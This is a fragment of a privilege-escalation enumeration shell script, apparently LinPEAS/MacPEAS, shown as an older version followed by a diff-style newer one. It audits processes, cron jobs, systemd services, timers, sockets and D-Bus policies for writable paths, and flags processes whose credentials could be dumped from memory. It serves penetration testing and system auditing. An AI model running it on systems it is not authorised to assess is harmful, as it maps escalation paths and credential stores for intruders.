ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
fi
echo ""
#-- PCS) Files opened by processes belonging to other users
if ! [ "$IAMROOT" ]; then
print_2title "Files opened by processes belonging to other users"
print_info "This is usually empty because of the lack of privileges to read other user processes information"
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
echo ""
fi
#-- PCS) Processes with credentials inside memory
print_2title "Processes with credentials in memory (root req)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#credentials-from-process-memory"
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
echo ""
#-- PCS) Different processes 1 min
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#frequent-cron-jobs"
temp_file=$(mktemp)
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
echo ""
fi
#-- PCS) Cron
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#scheduled-cron-jobs"
command -v crontab 2>/dev/null || echo_not_found "crontab"
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
incrontab -l 2>/dev/null
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#\|test \-x /usr/sbin/anacron\|run\-parts \-\-report /etc/cron.hourly\| root run-parts /etc/cron." | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
atq 2>/dev/null
echo ""
if [ "$MACPEAS" ]; then
print_2title "Third party LaunchAgents & LaunchDemons"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
echo ""
print_2title "Writable System LaunchAgents & LaunchDemons"
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
program=""
program=$(defaults read "$f" Program 2>/dev/null)
if ! [ "$program" ]; then
program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
fi
if [ -w "$program" ]; then
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi
done
echo ""
print_2title "StartupItems"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
echo ""
print_2title "Login Items"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
echo ""
print_2title "SPStartupItemDataType"
system_profiler SPStartupItemDataType
echo ""
print_2title "Emond scripts"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
ls -l /private/var/db/emondClients
echo ""
fi
#-- PCS) Services
if [ "$EXTRA_CHECKS" ]; then
print_2title "Services"
print_info "Search for outdated versions"
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
echo ""
fi
#-- PSC) systemd PATH
print_2title "Systemd PATH"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths"
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
echo ""
#-- PSC) .service files
#TODO: .service files in MACOS are folders
print_2title "Analyzing .service files"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#services"
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
if [ ! -O "$s" ]; then #Remove services that belongs to the current user
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
fi
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
printf "%s\n" "$servicebinpaths" | while read sp; do
if [ -w "$sp" ]; then
echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
fi
done
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null | grep -Ev "/[a-zA-Z0-9_]+/")
if [ "$relpath1" ] || [ "$relpath2" ]; then
if [ "$WRITABLESYSTEMDPATH" ]; then
echo "$s is executing some relative path" | sed -${E} "s,.*,${SED_RED},";
else
echo "$s is executing some relative path"
fi
fi
fi
done
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
echo ""
#-- PSC) Timers
print_2title "System timers"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers"
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
echo ""
#-- PSC) .timer files
print_2title "Analyzing .timer files"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers"
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
if ! [ "$IAMROOT" ] && [ -w "$t" ]; then
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
fi
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
printf "%s\n" "$timerbinpaths" | while read tb; do
if [ -w "$tb" ]; then
echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
fi
done
#relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
#for rp in "$relpath"; do
# echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
#done
done
echo ""
#-- PSC) .socket files
#TODO: .socket files in MACOS are folders
if ! [ "$IAMROOT" ]; then
print_2title "Analyzing .socket files"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets"
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
fi
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketsbinpaths" | while read sb; do
if [ -w "$sb" ]; then
echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
fi
done
socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketslistpaths" | while read sl; do
if [ -w "$sl" ]; then
echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
fi
done
done
if ! [ "$IAMROOT" ] && [ -w "/var/run/docker.sock" ]; then
echo "Docker socket /var/run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
fi
if ! [ "$IAMROOT" ] && [ -w "/run/docker.sock" ]; then
echo "Docker socket /run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g"
fi
echo ""
print_2title "Unix Sockets Listening"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets"
# Search sockets using netstat and ss
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
fi
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
fi
# But also search socket files
unix_scks_list2=$(find / -type s 2>/dev/null)
# Detele repeated dockets and check permissions
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do
perms=""
if [ -r "$l" ]; then
perms="Read "
fi
if [ -w "$l" ];then
perms="${perms}Write"
fi
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
else
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
echo " └─(${RED}${perms}${NC})"
# Try to contact the socket
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
if [ $? -eq 0 ]; then
owner=$(ls -l "$s" | cut -d ' ' -f 3)
echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
echo "$socketcurl" | head -n 30
fi
fi
done
echo ""
fi
#-- PSC) Writable and weak policies in D-Bus config files
print_2title "D-Bus config files"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus"
if [ "$PSTORAGE_DBUS" ]; then
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
for f in $d/*; do
if ! [ "$IAMROOT" ] && [ -w "$f" ]; then
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
fi
genpol=$(grep "<policy>" "$f" 2>/dev/null)
if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#for g in `groups`; do
# if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
#done
grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#TODO: identify allows in context="default"
done
done
fi
echo ""
print_2title "D-Bus Service Objects list"
print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus"
dbuslist=$(busctl list 2>/dev/null)
if [ "$dbuslist" ]; then
busctl list | while read line; do
echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
if ! echo "$line" | grep -qE "$dbuslistG"; then
srvc_object=$(echo $line | cut -d " " -f1)
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
if [ "$srvc_object_info" ]; then
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
fi
fi
done
else echo_not_found "busctl"
fi

View File

@@ -0,0 +1,341 @@
####################################################
#-----) Processes & Cron & Services & Timers (-----#
####################################################
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Cleaned proccesses
print_2title "Cleaned processes"
if [ "$NOUSEPS" ]; then
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
fi
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
if [ "$NOUSEPS" ]; then
print_ps | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
pslist=$(print_ps)
else
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
if [ "$(command -v capsh)" ] && ! echo "$psline" | grep -q root; then
cpid=$(echo "$psline" | awk '{print $2}')
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
fi
fi
done
pslist=$(ps auxwww)
echo ""
#-- PCS) Binary processes permissions
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
binW="IniTialiZZinnggg"
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
if [ -w "$bpath" ]; then
binW="$binW|$bpath"
fi
done
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
fi
echo ""
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Files opened by processes belonging to other users
if ! [ "$IAMROOT" ]; then
print_2title "Files opened by processes belonging to other users"
print_info "This is usually empty because of the lack of privileges to read other user processes information"
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Processes with credentials inside memory
print_2title "Processes with credentials in memory (root req)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
echo ""
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Different processes 1 min
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
temp_file=$(mktemp)
if [ "$(ps -e -o command 2>/dev/null)" ]; then for i in $(seq 1 1250); do ps -e -o command >> "$temp_file" 2>/dev/null; sleep 0.05; done; sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]"; rm "$temp_file"; fi
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Cron
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
command -v crontab 2>/dev/null || echo_not_found "crontab"
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
incrontab -l 2>/dev/null
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
atq 2>/dev/null
else
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$MACPEAS" ]; then
print_2title "Third party LaunchAgents & LaunchDemons"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
echo ""
print_2title "Writable System LaunchAgents & LaunchDemons"
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
program=""
program=$(defaults read "$f" Program 2>/dev/null)
if ! [ "$program" ]; then
program=$(defaults read /Library/LaunchDaemons/MonitorHelper.plist ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
fi
if [ -w "$program" ]; then
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi
done
echo ""
print_2title "StartupItems"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
echo ""
print_2title "Login Items"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
echo ""
print_2title "SPStartupItemDataType"
system_profiler SPStartupItemDataType
echo ""
print_2title "Emond scripts"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
ls -l /private/var/db/emondClients
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PCS) Services
if [ "$EXTRA_CHECKS" ]; then
print_2title "Services"
print_info "Search for outdated versions"
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
echo ""
fi
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PSC) systemd PATH
print_2title "Systemd PATH"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
echo ""
fi
#-- PSC) .service files
#TODO: .service files in MACOS are folders
print_2title "Analyzing .service files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
fi
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
printf "%s\n" "$servicebinpaths" | while read sp; do
if [ -w "$sp" ]; then
echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
fi
done
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null | grep -Ev "/[a-zA-Z0-9_]+/")
if [ "$relpath1" ] || [ "$relpath2" ]; then
if [ "$WRITABLESYSTEMDPATH" ]; then
echo "$s is executing some relative path" | sed -${E} "s,.*,${SED_RED},";
else
echo "$s is executing some relative path"
fi
fi
fi
done
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
#-- PSC) Timers
print_2title "System timers"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
echo ""
fi
#-- PSC) .timer files
print_2title "Analyzing .timer files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
fi
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
printf "%s\n" "$timerbinpaths" | while read tb; do
if [ -w "$tb" ]; then
echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
fi
done
#relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
#for rp in "$relpath"; do
# echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
#done
done
echo ""
#-- PSC) .socket files
#TODO: .socket files in MACOS are folders
if ! [ "$IAMROOT" ]; then
print_2title "Analyzing .socket files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
fi
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketsbinpaths" | while read sb; do
if [ -w "$sb" ]; then
echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
fi
done
socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketslistpaths" | while read sl; do
if [ -w "$sl" ]; then
echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
fi
done
done
echo ""
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Unix Sockets Listening"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
# Search sockets using netstat and ss
